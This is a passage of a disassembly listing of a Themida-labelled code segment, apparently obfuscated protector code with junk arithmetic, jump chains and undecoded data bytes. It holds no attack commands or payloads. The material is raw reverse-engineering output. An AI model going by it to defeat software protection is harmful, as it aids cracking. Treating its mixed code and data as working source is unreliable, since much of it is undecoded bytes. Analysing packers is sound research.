		xor	edi, 5FC5277Eh
		dec	edi
		jmp	loc_62109A
; ---------------------------------------------------------------------------
word_622C8A	dw 90E9h		; DATA XREF: Themida_:0061BF64o
		db 95h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_622C8F:				; CODE XREF: Themida_:0062232Ej
					; Themida_:00624B24j ...
		sub	esp, 4
		mov	[esp], ebx
		xor	dword ptr [esp], 703E24DDh
		mov	eax, [esp]
		push	3158h
		mov	[esp], edx
		push	55A6h
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	edx
		push	6C50h
		mov	[esp], ebx
		mov	ebx, 4
		add	edx, ebx
		mov	ebx, [esp]
		add	esp, 4
		add	edx, 4
		push	edx
		push	dword ptr [esp+4]
		pop	edx
		pop	dword ptr [esp]
		mov	esp, [esp]
		jmp	loc_624030
; ---------------------------------------------------------------------------
		dd 0C381D301h, 7E243040h, 495DC381h, 51524111h,	0B158BCB9h
		dd 1BC98138h, 0E94A525Dh, 0FFFFA17Dh, 4C581h, 0BFE90000h
		db 95h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_622D0B:				; CODE XREF: Themida_:00621C45j
		push	ebx
		mov	ebx, 726635D4h
		jmp	loc_627624
; ---------------------------------------------------------------------------
		dw 0C581h
		dd 68B78395h, 0E95DE909h
dword_622D20	dd 0FFFFBBCFh, 0E904C483h, 11C8h; ---------------------------------------------------------------------------


loc_622D2C:				; CODE XREF: Themida_:00627E35j
		pop	edx
		jmp	loc_626C5F
; ---------------------------------------------------------------------------
		dw 0F781h
		dd 24755D0Dh, 550BBB53h, 0DF292B77h, 5FFE015Bh,	4429E9h
		db 0
byte_622D49	db 0FFh, 34h, 24h	; DATA XREF: Themida_:0061C0A0o
		dd 4EC8158h, 89000000h,	8B54240Ch, 8957240Ch, 4C781E7h
		dd 53000000h, 4BBh, 5BDF0100h, 5C243C87h, 435BBB53h, 97E961E6h
		db 1Dh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_622D7B:				; CODE XREF: Themida_:00626E13j
		sub	ebx, 66857F8Bh
		jmp	loc_620E2D
; ---------------------------------------------------------------------------
		dw 0E989h
		dd 947BE5Dh, 0CE31299Bh, 0E9F52959h, 9E1h
; ---------------------------------------------------------------------------


loc_622D98:				; CODE XREF: Themida_:00624789j
		add	ebp, 4
		push	esi
		mov	esi, 4
		sub	ebp, esi
		pop	esi
		jmp	loc_61D1F0
; ---------------------------------------------------------------------------
		dd 0C381D3F7h, 9CB24709h, 0FFB76FE9h, 81CB01FFh, 84770FEBh
		dd 240C8B14h, 4C481h, 0D8290000h, 0DB9515Bh, 0E95E4060h
		dd 0FFFFFB1Ah
; ---------------------------------------------------------------------------


loc_622DD8:				; CODE XREF: Themida_:00623C71j
		add	esp, 4
		push	esi
		mov	esi, esp
		jmp	loc_6211C2
; ---------------------------------------------------------------------------
		db 89h
		dd 243C8BFEh, 4C481h, 0EE810000h, 18BF3D7Dh, 0CA544B05h
		dd 0E9F0011Ch, 0FFFFD0CAh, 0CF4EF781h, 0F8297553h, 83243C8Bh
		dd 0BE5604C4h, 2FB84FEDh, 2D5EF029h, 4AED703Ah,	81240C8Bh
		dd 4C4h, 0BB535700h, 20BC3EAEh,	502FE9h
		db 0
; ---------------------------------------------------------------------------


loc_622E31:				; CODE XREF: Themida_:00620B9Dj
		add	esp, 4
		xor	ebx, 95712F29h
		sub	edx, 140271FCh
		add	edx, ebx
		add	edx, 140271FCh
		pop	ebx
		jmp	loc_6263DF
; ---------------------------------------------------------------------------


loc_622E51:				; CODE XREF: Themida_:00621CBBj
		add	edx, 43635D69h
		jmp	loc_61EC64
; ---------------------------------------------------------------------------


loc_622E5C:				; CODE XREF: Themida_:00626C1Cj
		shl	edx, 2
		jmp	loc_627D6F
; ---------------------------------------------------------------------------
		dd 592434FFh, 4EC8157h,	89000000h, 4832424h, 0E95F0424h
		dd 4FBEh
; ---------------------------------------------------------------------------


loc_622E7C:				; CODE XREF: Themida_:0061D4A1j
		and	ecx, esi
		push	dword ptr [esp]
		pop	esi
		push	ecx
		mov	ecx, esp
		push	esi
		push	ebx
		jmp	loc_620D87
; ---------------------------------------------------------------------------


loc_622E8C:				; CODE XREF: Themida_:006271AEj
		xchg	ebp, [esp]
		mov	esp, [esp]
		or	edx, eax
		shl	edx, 1
		jmp	loc_620715
; ---------------------------------------------------------------------------
		db 5Ch
		dd 54242C89h, 1A6CE95Dh, 1C870000h, 14875C24h, 2726E924h
		dd 34870000h, 20B7E924h, 0BE560000h, 0BCC0A8ABh, 15EF229h
		dd 5A042454h, 0FF9352E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_622ECD:				; CODE XREF: Themida_:00623825j
		add	eax, ebx
		pop	ebx
		xor	eax, 417F4C79h
		sub	dword ptr [esp+4], 2CAC048Bh
		jmp	loc_626B2E
; ---------------------------------------------------------------------------
		dw 0E9C1h
		dd 81D1F708h, 0FFF3ADE9h, 59CB89FFh, 6E95C381h,	0D3010874h
		dd 6E95EB81h, 3C70874h,	0
		dd 0E92434FFh, 4C93h, 0BFB4E95Dh, 0B004FFFFh, 51668204h
		dd 0C8285EB1h, 148B5966h, 4C48124h, 0E9000000h,	0FFFFDDCDh
		dd 72B8505Dh, 15D0FD4h,	0E52D58C1h, 2D482272h, 683089Fh
		dd 9F05C829h, 5068308h,	482272E5h, 8B2434FFh, 0C481240Ch
		dd 4, 4C481h, 68570000h, 5AA4h,	68240489h, 5F7937F7h, 0E924048Bh
		dd 0FFFFDF7Eh, 0BD55505Fh, 2, 15DE889h,	0C7E3E9C6h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_622F86:				; CODE XREF: Themida_:0061DFE8j
		add	esp, 4
		or	eax, eax
		jnz	loc_61D06C
		mov	edx, 5126624Dh
		push	ebp
		jmp	loc_61EE32
; ---------------------------------------------------------------------------


loc_622F9C:				; CODE XREF: Themida_:00625824j
		push	ebp
		mov	ebp, 2A254D80h
		add	ebp, 7BC43B8Eh
		inc	ebp
		xor	ebp, 3E154CB7h
		inc	ebp
		neg	ebp
		jmp	loc_61F225
; ---------------------------------------------------------------------------
		db 5Ah
		dd 51CC8850h, 0CA88E188h, 592434FFh, 4C481h, 6AE90000h
		dd 89000043h, 4C781E7h,	0E9000000h, 27CDh
; ---------------------------------------------------------------------------


loc_622FDC:				; CODE XREF: Themida_:00620F56j
		mov	esp, [esp]
		jmp	loc_622B66
; ---------------------------------------------------------------------------
		dd 0BB6EE95Dh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_622FEA:				; CODE XREF: Themida_:0061EA08j
		pop	edi
		shr	edx, 8
		sub	edx, 55A04EC7h
		jmp	loc_6201EF
; ---------------------------------------------------------------------------


loc_622FF9:				; CODE XREF: Themida_:00626C88j
		pop	esp
		jmp	loc_6225EF
; ---------------------------------------------------------------------------
		db 51h
		dd 0EF7F3CB9h, 1F60E902h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_62300A:				; CODE XREF: Themida_:0061E22Bj
		jmp	loc_61C21F
; ---------------------------------------------------------------------------
		db 81h
		dd 54B43EBh, 473DE93Ah,	0C4830000h, 91FDE904h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_623022:				; CODE XREF: Themida_:006210A0j
		add	edi, 17D7A783h
		add	esi, edi
		jmp	loc_621DBE
; ---------------------------------------------------------------------------
		db 56h
		dd 8F68E689h, 89000005h, 1BBF243Ch, 0E95F324Dh,	2B2Dh
; ---------------------------------------------------------------------------


loc_623044:				; CODE XREF: Themida_:006262CBj
		sub	edi, 1B2A0E81h
		add	eax, edi
		pop	edi
		jmp	loc_61CE43
; ---------------------------------------------------------------------------


loc_623052:				; CODE XREF: Themida_:006241AFj
		xor	ebp, 88951E6h
		sub	ebp, 5984BB9h
		not	ebp
		add	ebp, 7C26106Eh
		xor	edx, ebp
		mov	ebp, [esp]
		add	esp, 4
		jmp	loc_62754B
; ---------------------------------------------------------------------------


loc_623073:				; CODE XREF: Themida_:00620E33j
		and	ebx, 21B874D1h
		dec	ebx
		add	ebx, 1F562D22h
		add	ebx, 52D7D6B6h
		and	ecx, ebx
		jmp	loc_61F4A6
; ---------------------------------------------------------------------------
		db 0BAh, 0F8h, 45h
		dd 0D0290F30h, 3E0C15Ah, 68CC3548h, 0C789923Dh,	48F20558h
		dd 20E94D73h, 5AFFFFF1h, 34FFEF29h, 201AE924h, 2FBF0000h
		dd 81249118h, 3EA5F4EFh, 0BF06E921h, 0C483FFFFh, 4EC8304h
		dd 56240489h, 4BEh, 5EF08900h, 48BC601h, 0E0895024h, 405h
		dd 392AE900h
		db 2 dup(0)
word_6230EA	dw 66ACh		; DATA XREF: Themida_:0061C178o
		dd 2C20B252h, 0E9D028BFh, 0FFFFA48Ch
; ---------------------------------------------------------------------------


loc_6230F8:				; CODE XREF: Themida_:0061C8DEj
		pop	edi
		push	ecx
		mov	ecx, 0FFFFFFFFh
		add	edi, ecx
		pop	ecx
		neg	edi
		jmp	loc_61D63E
; ---------------------------------------------------------------------------
		db 0C1h, 0E8h, 8
		dd 7970F405h, 0F7D8F778h, 12DD0h, 0E42D0000h, 1BD6669h
		dd 0EF32E9C5h, 5358FFFFh, 4BBh,	5BDD0100h, 0FFB7CBE9h
		dd 27E95EFFh, 87FFFF97h, 248B241Ch, 0C8B6624h, 56E95224h
		db 91h,	2 dup(0FFh)
byte_62314B	db 0FFh			; DATA XREF: Themida_:0061BFFCo
		dd 815A2434h, 4ECh, 240C8900h, 0C181E189h, 4, 0FFDEC3E9h
		dd 34C281FFh
dword_623168	dd 291D0256h, 34EA81F2h, 5E1D0256h, 558BC281h, 0FA015CCCh
					; DATA XREF: Themida_:off_5FD254o
		dd 558B6853h, 295B5CCCh, 0DDE95BDAh, 81FFFFAAh,	0EC087BEFh
		dd 0B6E78122h, 813A8E6Ah, 1A2848C7h, 5FFE89DFh,	2FD9E9h
		dd 0B1516600h, 66CB887Fh, 0BBEE959h, 34FF0000h,	0C4835924h
		dd 0F7E95004h, 66000003h, 0E47FC781h, 9CBE956h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_6231CA:				; CODE XREF: Themida_:006245CFj
		add	edx, eax
		pop	eax
		and	eax, edx
		mov	edx, [esp]
		add	esp, 4
		shr	eax, 0Bh
		xor	ecx, eax
		push	ebx
		sub	dword ptr [esp], 0FE77AFDh
		mov	eax, [esp]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		jmp	loc_624D32
; ---------------------------------------------------------------------------
aZs_1		db 'Z',8,0Dh,0
		dw 0F700h
		dd 2DD0F7D0h, 0CFFDE901h, 0FFCCDBE9h, 0CEB252FFh, 0FFED96E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_623215:				; CODE XREF: Themida_:00626380j
		shr	ebp, 5
		shr	ebp, 3
		xor	ebp, 5AA27ADh
		jmp	loc_624180
; ---------------------------------------------------------------------------


loc_623226:				; CODE XREF: Themida_:0061FBA8j
		push	2B46h
		mov	[esp], eax
		jmp	loc_61D5FE
; ---------------------------------------------------------------------------


loc_623233:				; CODE XREF: Themida_:00621A42j
		mov	esi, 4CE8246Bh
		add	esi, 0B317DB97h
		sub	edx, esi
		jmp	loc_61DEB5
; ---------------------------------------------------------------------------


loc_623245:				; CODE XREF: Themida_:0062692Cj
					; Themida_:00628691j
		push	1017h
		mov	[esp], ebx
		push	dword ptr [esp]
		jmp	loc_623C6E
; ---------------------------------------------------------------------------


loc_623255:				; CODE XREF: Themida_:00621289j
		shl	ecx, 7
		jmp	loc_62436C
; ---------------------------------------------------------------------------
aT_pvh94hSM	db 'T_PVh94h>^M',0
		align 4
		dd 73E9535Ah, 68000014h, 2A2h, 0E9242489h, 0FFFFD149h
		dd 6E7768h, 241C8900h, 9775E952h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_62328E:				; CODE XREF: Themida_:0062211Aj
		sub	esp, 4
		mov	[esp], ecx
		push	esi
		mov	esi, 47CD5FCFh
		jmp	loc_624041
; ---------------------------------------------------------------------------
		db 5Fh
		dd 5D43B951h, 0BD553BD2h, 145027C8h, 8509F581h,	96E9D07Dh
		dd 51FFFFA4h, 2785E9h
		db 0
; ---------------------------------------------------------------------------


loc_6232BD:				; CODE XREF: Themida_:0061FCA9j
		push	ecx
		mov	ecx, 4
		add	ebx, ecx
		pop	ecx
		xchg	ebx, [esp]
		pop	esp
		add	esp, 4
		push	esi
		mov	esi, 1
		and	eax, esi
		jmp	loc_624266
; ---------------------------------------------------------------------------
		db 8Bh,	2Ch, 24h
		dd 4C481h, 0C5810000h, 4, 399BE950h, 0E9540000h, 0FFFFE1DAh
		dd 57486866h, 24048966h, 0FF8F1AE9h, 241487FFh,	4C4815Ch
		dd 0E9000000h, 0FFFFEC84h, 769B6852h, 15A8F86h,	0C6815AD0h
		dd 76FA3ABBh, 0B951C601h, 76FA3ABBh, 5859CE29h,	5C243487h
		dd 4AB0F66h, 0E0E99C24h, 0BFFFFF8Eh, 4,	835FFB01h, 0C8904ECh
		dd 11B85024h, 891A0373h, 0E18158C1h, 53C37D65h,	5AE9F987h
		dd 0E9FFFFCCh, 0FFFF8EB7h
dword_623368	dd 0FBFF6850h, 2158FFFFh, 34FF1C47h, 24048B24h,	4C481h
					; DATA XREF: Themida_:0061C0C0o
		dd 0E9570000h, 6AEh, 8B24048Fh,	0B6522424h, 0B9D4E9EDh
		db 2 dup(0FFh)
word_623392	dw 8B66h		; DATA XREF: Themida_:0061C114o
		dd 2B68240Ch, 89000042h, 5954240Ch, 194468h, 9187E900h
		dd 0F680FFFFh, 9A64E9EDh, 0EC83FFFFh, 240C8904h, 0BF1496B9h
		dd 51E95152h
		db 8, 2	dup(0)
; ---------------------------------------------------------------------------


loc_6233C3:				; CODE XREF: Themida_:00622BB5j
		mov	[esp], edx
		jmp	loc_6263CC
; ---------------------------------------------------------------------------
byte_6233CB	db 0FFh			; DATA XREF: Themida_:0061C0B0o
		dd 685A2434h, 1E61h, 68240C89h,	51A3h, 81242489h, 42404h
		dd 81590000h, 4C1h, 0A9E95500h,	81000003h, 32654EEEh, 0E9F189F0h
		dd 0A46h
; ---------------------------------------------------------------------------


loc_623400:				; CODE XREF: Themida_:0062609Ej
		push	2A806F60h
		jmp	loc_620827
; ---------------------------------------------------------------------------
		dw 0E829h
		dd 0FFED78E9h, 68E689FFh, 2A49h, 83240C89h, 2C8904ECh
		dd 81E58924h, 4C5h, 4ED8300h, 5C242C87h, 0E9243C89h, 0FFFFC151h
dword_623438	dd 24048B66h, 57585450h, 0FFA615E9h		db 0FFh
; ---------------------------------------------------------------------------


loc_623445:				; CODE XREF: Themida_:00624B49j
		push	ecx
		push	dword ptr [esp+4]
		pop	ecx
		pop	dword ptr [esp]
		pop	esp
		shr	edx, 7
		push	eax
		jmp	loc_61D605
; ---------------------------------------------------------------------------
		dd 42474FFh, 81241C8Bh,	4C4h, 1B75E900h, 0B4500000h, 0B6B7E934h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_623472:				; CODE XREF: Themida_:00624A8Fj
		xchg	eax, [esp]
		pop	esp
		mov	[esp], esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		push	esi
		push	dword ptr [esp+4]
		mov	esi, [esp]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_626917
; ---------------------------------------------------------------------------
		db 89h,	2Ch, 24h
		dd 0C581E589h, 4, 4BF57h, 0FD290000h, 9927E95Fh, 0F931FFFFh
		dd 0E9C8295Fh, 0FFFFD0C0h, 5704C483h, 4EC81h, 93E90000h
		dd 28000032h, 0AB72E9D8h, 0C701FFFFh, 4938E9h, 4EC8300h
		dd 83243489h, 1C8904ECh, 2BB24h, 0DE890000h, 3641E95Bh
		dd 0BE560000h, 24767890h, 3E9CE9h, 0BD555B00h, 8EDFB1Dh
		dd 2C8BEA31h, 4C48324h,	815AD031h, 786E01EBh, 0A0EB815Ah
		dd 130897Ch, 0A0C381C3h, 6830897Ch, 3F6Bh, 0B9240C89h
		dd 7922A4Eh, 6F84F181h,	0C181639Ah, 5E0248B4h, 0FFD008E9h
		dd 81E789FFh, 4C7h, 15A2E900h, 8F5F0000h, 248B2404h, 0D130E924h
		db 2 dup(0FFh)
word_62355E	dw 0E9ADh		; DATA XREF: Themida_:0061C1C8o
		dd 0FFFFE7ECh
dword_623564	dd 240C8B66h, 1716E9h, 0BDB95100h, 0E92A6051h, 3B9Fh, 8108E2C1h
					; DATA XREF: Themida_:0061C088o
		dd 0A4B502C2h, 0D38953E3h, 71E9DF89h, 5A00002Ch, 0F4BE9h
		db 0
; ---------------------------------------------------------------------------


loc_623591:				; CODE XREF: Themida_:00623E29j
		add	eax, 0BA3B2A3h
		mov	ecx, eax
		pop	eax
		add	ecx, 0C5FDE317h
		add	edx, ecx
		mov	ecx, [esp]
		jmp	loc_626948
; ---------------------------------------------------------------------------
aAiZS6		db '(ӀZ(}6',0
		align 2
		dw 7AB8h
		dd 40531971h, 0FFA682E9h, 0E9D2F7FFh, 0FFFFFFB0h, 0E680C6FEh
		dd 0B6525131h, 0AEEE8063h, 8005E6C0h, 0CBE97CCEh, 0F7FFFFFDh
		dd 6E8C1D0h, 0C106E8C1h, 0BD5507E0h, 7D117BF4h,	4E75E953h
		db 2 dup(0)
aMhF		db 'hF',0             ; DATA XREF: Themida_:0061C04Co
		align 4
aS_11		db '',7,0
		dd 3C76BF00h, 0EF817AEDh, 3D9B169Ch, 295FFE31h,	24348BF2h
		dd 4C481h, 0B8500000h, 674B75D2h, 936EE52Dh, 222B3557h
		dd 0E0D13C80h, 9B2DD0F7h, 0E9D30915h, 4B37h
; ---------------------------------------------------------------------------


loc_623638:				; CODE XREF: Themida_:0061EF94j
		mov	ebp, 15334CA8h
		xor	[esp+4], ebp
		pop	ebp
		pop	eax
		sub	esp, 4
		mov	[esp], ebp
		push	esp
		jmp	loc_6271A4
; ---------------------------------------------------------------------------
		dw 15B7h
		dd 66EFEF80h, 66199068h, 0B1240C89h, 0A1EF80F2h, 0C780CF00h
		dd 805966A1h, 8BE90DEFh, 5BFFFF99h, 4C481h, 53520000h
		dd 316E9h, 74FF5600h, 34FF0424h, 0C4815E24h, 4,	5C24048Fh
		dd 24148966h, 0F03017B6h, 2C70E9h, 4EC8300h, 0E9242C89h
		dd 0FFFFF21Ch
; ---------------------------------------------------------------------------


loc_6236AC:				; CODE XREF: Themida_:006220FAj
		not	esi
		add	esi, 4A244CAh
		push	edi
		jmp	loc_61DCCA
; ---------------------------------------------------------------------------
		dw 835Ah
		dd 5CE904C4h, 0F7FFFF8Bh, 0D1F741D1h, 10BD5541h, 29684715h
		dd 0CA015DE9h, 83240C8Bh, 0B85004C4h, 6F5D06C4h, 4209AD05h
		dd 10733543h, 0C201B29Fh, 24143358h, 33241431h,	645C2414h
		dd 20E90288h
		db 8Bh,	2 dup(0FFh)
byte_6236FF	db 0ACh			; DATA XREF: Themida_:0061BFB0o
		dd 32568h, 240C8900h, 0FFE5BBE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_62370D:				; CODE XREF: Themida_:00627A0Cj
		pop	ebx
		add	esp, 4
		jmp	loc_6218B6
; ---------------------------------------------------------------------------
		dw 0C529h
		dd 0E69E9h, 74FF5500h, 8F5D0424h, 0E95C2404h, 49A4h, 68535153h
		dd 7D762A09h, 19C6E9h
		db 0
; ---------------------------------------------------------------------------


loc_623739:				; CODE XREF: Themida_:00622623j
		xor	edx, edi
		pop	edi
		sub	[edi+24h], edx
		mov	edx, [esp]
		add	esp, 4


loc_623748:				; CODE XREF: Themida_:0061D570j
		sub	esp, 4
		mov	[esp], ebx
		push	esi
		jmp	loc_623886
; ---------------------------------------------------------------------------
		dd 63E95655h, 8BFFFFE8h, 14892424h, 0E99C5024h,	0FFFF8AB7h
; ---------------------------------------------------------------------------


loc_623768:				; CODE XREF: Themida_:0061E2DCj
		push	edx
		push	ecx
		mov	cl, 0F6h
		mov	dh, 0DFh
		sub	dh, cl
		pop	ecx
		xor	dh, 0Bh
		jmp	loc_61F42D
; ---------------------------------------------------------------------------
		db 5Eh,	8Bh, 0Ch
		dd 4C48124h, 83000000h,	2C3302C5h, 242C3124h, 8B242C33h
		dd 0D3662424h, 0E99C240Ch, 0FFFF90A8h, 2AA6BA52h, 0C2816A03h
		dd 95FCD55Eh, 24348152h, 76B65FF7h, 0F7F5815Dh,	5A76B65Fh
		dd 0FFE706E9h, 4C581FFh, 33000000h, 2C31242Ch, 0AAA2E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_6237CE:				; CODE XREF: Themida_:00621776j
		add	ebp, edi
		mov	edi, [esp]
		add	esp, 4
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		sub	ebx, 4
		jmp	loc_61DB3C
; ---------------------------------------------------------------------------
		db 29h,	0D3h, 5Ah
		dd 483AC181h, 0E9812C5Eh, 0AA728BBh, 0C181D901h, 0AA728BBh
		dd 483AE981h, 0E95B2C5Eh, 0FFFFA178h
; ---------------------------------------------------------------------------


loc_623810:				; CODE XREF: Themida_:0061C65Aj
		sub	eax, 0FFFFFFFFh
		or	eax, 79757CB1h
		xor	eax, 7EC63619h
		push	ebx
		mov	ebx, 67880C26h
		jmp	loc_622ECD
; ---------------------------------------------------------------------------
		dw 9268h
		dd 8900002Dh, 2BE2434h,	1000000h, 3C875EF7h, 0EC835C24h
		dd 3E65E904h, 0C5010000h, 3BADE9h
		db 0
; ---------------------------------------------------------------------------


loc_62384D:				; CODE XREF: Themida_:006245BDj
		mov	ah, bh
		pop	ebx
		push	ecx
		mov	cl, 58h
		shr	cl, 4
		neg	cl
		neg	cl
		sub	cl, 32h
		add	ah, cl
		pop	ecx
		add	bl, ah
		mov	eax, [esp]
		add	esp, 4
		push	eax
		push	ecx
		mov	ch, 85h
		mov	ah, 35h
		sub	ah, ch
		pop	ecx
		sub	bl, ah
		pop	eax
		jmp	loc_624E1E
; ---------------------------------------------------------------------------


loc_62387C:				; CODE XREF: Themida_:00621DA8j
		mov	edi, 4B08237Eh
		jmp	loc_622614
; ---------------------------------------------------------------------------


loc_623886:				; CODE XREF: Themida_:0062374Fj
		sub	esp, 4
		mov	[esp], ebp
		push	6AE4675Bh
		pop	ebp
		dec	ebp
		or	ebp, 76A41D7Eh
		shl	ebp, 6
		add	ebp, 5D257A70h
		push	ebp
		pop	esi
		push	dword ptr [esp]
		pop	ebp
		jmp	loc_61D3F4
; ---------------------------------------------------------------------------
		db 81h,	0C1h, 6Eh
		dd 568ED2BFh, 0C81E8EBEh, 0AFF0E929h, 0C481FFFFh, 4, 9A3FE94Ah
		db 2 dup(0FFh)
word_6238CA	dw 81ADh		; DATA XREF: Themida_:0061C0D8o
		dd 4ECh, 242C8900h, 4F1BF4BDh, 5DE80102h, 5152D801h, 9076856h
		dd 465E68CFh, 0D6F7D6F7h, 2EDEF681h, 0F1893B8Ch, 53D1F75Eh
		dd 9A050668h, 0EB815B2Fh, 205C5044h, 1C60EB81h,	0D93160CBh
		dd 0E9CA895Bh, 0FFFFA6A7h, 0E0DC181h, 0C98174FDh, 72564039h
		dd 0CC7FF181h, 1CE9FAD6h
		db 0A0h, 2 dup(0FFh)
off_62392B	dd offset dword_4E6E9C+0B5CCh ;	DATA XREF: Themida_:0061C12Co
		align 10h
		dd 0E9241489h, 0FFFFD9EBh, 0E9F5015Fh, 0FFFFA5A9h
; ---------------------------------------------------------------------------


loc_623940:				; CODE XREF: Themida_:0061E492j
		pop	edx
		jmp	loc_626E18
; ---------------------------------------------------------------------------
		dw 34FFh
		dd 0B3E924h, 505F0000h,	4B8h, 3D8CE900h, 0C4830000h, 4C18304h
		dd 0FF9937E9h, 4C481FFh, 81000000h, 6463F3h, 81D3F71Eh
		dd 0A8733CC3h, 5BDD897Dh, 2C8BEF89h, 4C48324h, 15FFB29h
		dd 42AAE9CBh, 0FF5C0000h, 60E92434h, 0B7FFFFE0h, 0AAF9E972h
		dd 5B54FFFFh, 4BE56h, 0F3010000h, 4C3835Eh, 5C241C87h
		dd 0D4BDE955h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_6239B6:				; CODE XREF: Themida_:006286E3j
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		pop	esp
		add	esi, eax
		push	edx
		mov	edx, 46BC52C4h
		add	esi, edx
		pop	edx
		add	esi, 5A1B2D93h
		mov	ebx, 1FAE117Eh
		push	esi
		mov	esi, 6EF62684h
		add	esi, 4FAD5122h
		inc	esi
		sub	esi, 61CFFAA0h
		jmp	loc_62128E
; ---------------------------------------------------------------------------


loc_6239EE:				; CODE XREF: Themida_:00627933j
		push	ebp
		push	dword ptr [esp+4]
		pop	ebp
		jmp	loc_61C36A
; ---------------------------------------------------------------------------
		db 1, 0EAh, 5Dh
		dd offset dword_49005C+2408Dh
		dd 0C4815900h, 4, 3C8BF831h, 4C48324h, 0EA81C331h, 7FE24DB8h
		dd 6ED7B850h, 81E9714Bh
		db 0C4h, 2 dup(0FFh)
byte_623A23	db 0FFh			; DATA XREF: Themida_:0061C0E4o
		dd 669D1C77h, 24041858h, 87EDE99Ch, 0E789FFFFh,	4C781h
		dd 0EF810000h, 4, 0E9243C87h, 4D07h
; ---------------------------------------------------------------------------


loc_623A48:				; CODE XREF: Themida_:006201EAj
		pop	ebx
		push	esi
		push	dword ptr [esp+4]
		jmp	loc_628628
; ---------------------------------------------------------------------------


loc_623A53:				; CODE XREF: Themida_:006284F5j
		pop	ecx
		push	eax
		mov	eax, 4
		add	ecx, eax
		pop	eax
		push	283Ah
		mov	[esp], ebp
		push	ebx
		jmp	loc_622B00
; ---------------------------------------------------------------------------
byte_623A6B	db 66h			; DATA XREF: Themida_:0061BFECo
		dd 5724048Bh, 0FF9C6CE9h, 4C281FFh, 83000000h, 148704EAh
		dd 24248B24h, 4AE6E9h, 5DEF6800h, 20E90000h, 0F7FFFFDCh
		dd 64E949D9h
		db 0E6h, 2 dup(0FFh)
byte_623A9B	db 66h			; DATA XREF: Themida_:0061BF90o
		dd 68240C8Bh, 2D64h, 89242C89h,	9AE951E5h, 81000012h, 4C4h
		dd 0E2895200h, 4C281h, 0EA830000h, 24148704h, 8924248Bh
		dd 8951240Ch, 0B479E9E1h, 0E958FFFFh, 0FFFFDF7Ah, 6D36BD55h
		dd 0ABE92DC3h
		db 3Eh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_623AE3:				; CODE XREF: Themida_:0061CBEDj
		xchg	eax, [esp]
		pop	esp
		shr	eax, 0Eh
		xor	eax, ecx
		xor	eax, esi
		xor	esi, eax
		xor	eax, esi
		push	esi
		mov	esi, esp
		push	edi
		mov	edi, 4
		add	esi, edi
		jmp	loc_62502E
; ---------------------------------------------------------------------------


loc_623B02:				; CODE XREF: Themida_:0062596Cj
		pop	ebp
		sub	ecx, 0E3E24C7h
		jmp	loc_625856
; ---------------------------------------------------------------------------
		dw 148Bh
		dd 0E2895224h, 4C281h, 0C2810000h, 4, 5C241487h, 5165C380h
		dd 0C181E189h, 4, 0D2B8E953h, 0C781FFFFh, 4, 5704EF83h
		dd 0FF9AB0E9h, 1F172DFFh, 0E8012B74h, 0F4685255h, 5A6CC932h
		dd 22E9DAF7h
		db 87h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_623B5B:				; CODE XREF: Themida_:00621DBFj
		mov	ebp, esi
		pop	esi
		xor	[esp+4], ebp
		mov	ebp, [esp]
		add	esp, 4
		pop	ecx
		push	ebx
		mov	ebx, 23110F77h
		jmp	loc_61FFAC
; ---------------------------------------------------------------------------
		db 89h
		dd 0BF57240Ch, 6BC17F49h, 0F75FF989h, 95B850D1h, 0D18A229h
		dd 456D63B9h, 0FFE8E7E9h, 0FE8966FFh, 25C3E9h, 0D2ED8100h
		dd 0E900DF49h, 0FFFFBDB6h, 0B9BB535Eh, 810E3D02h, 803AD5CBh
		dd 14F75337h, 0BC685B24h, 89000033h, 0A1BF243Ch, 0C114F625h
		dd 4F4706E7h, 267EC781h, 0EF8103FCh, 0E1D33C39h, 815FFB31h
		dd 8F656EC3h, 0EEBE565Fh, 0E90F4A70h, 16C6h, 81E38953h
		dd 4C3h, 90BF5700h, 514DE425h, 0FFDFB6E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_623C01:				; CODE XREF: Themida_:00620D35j
		xor	ebx, [esp]
		pop	esp
		add	eax, 164559F0h
		push	67EBh
		jmp	loc_627420
; ---------------------------------------------------------------------------
		dd 0E92414F7h, 4B6Ch, 8108EEC1h, 1CDB8F6h, 91D6E944h, 0E95BFFFFh
		dd 0FFFFDE9Fh, 3D1DE951h, 16B50000h, 1F580h, 2434FFE8h
		dd 9F06859h, 34890000h,	81E68924h, 4C6h, 0E3685500h, 5D2B503Dh
		dd 3DE7BF57h, 0FD312B50h, 5DEE015Fh, 2474FF56h,	0EBBBE904h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_623C6E:				; CODE XREF: Themida_:00623250j
		mov	eax, [esp]
		jmp	loc_622DD8
; ---------------------------------------------------------------------------
		dw 0FF53h
		dd 5B042474h, 5C24048Fh, 0FFC590E9h, 240C87FFh,	0E924248Bh
		dd 0FFFFAEEFh
; ---------------------------------------------------------------------------


loc_623C90:				; CODE XREF: Themida_:00623D5Cj
		sub	ebx, 1
		shl	ebx, 5
		push	edi
		mov	edi, 3DF7098h
		sub	edi, 1
		add	edi, 45B2E07Ch
		jmp	loc_620B98
; ---------------------------------------------------------------------------
		dw 0D830h
		dd 34FF5457h, 0EDE2E924h, 0E95CFFFFh, 195Dh, 81E9CB21h
		dd 49h,	8BCA04C8h, 0C481240Ch, 4, 0FFCC44E9h, 2C483FFh
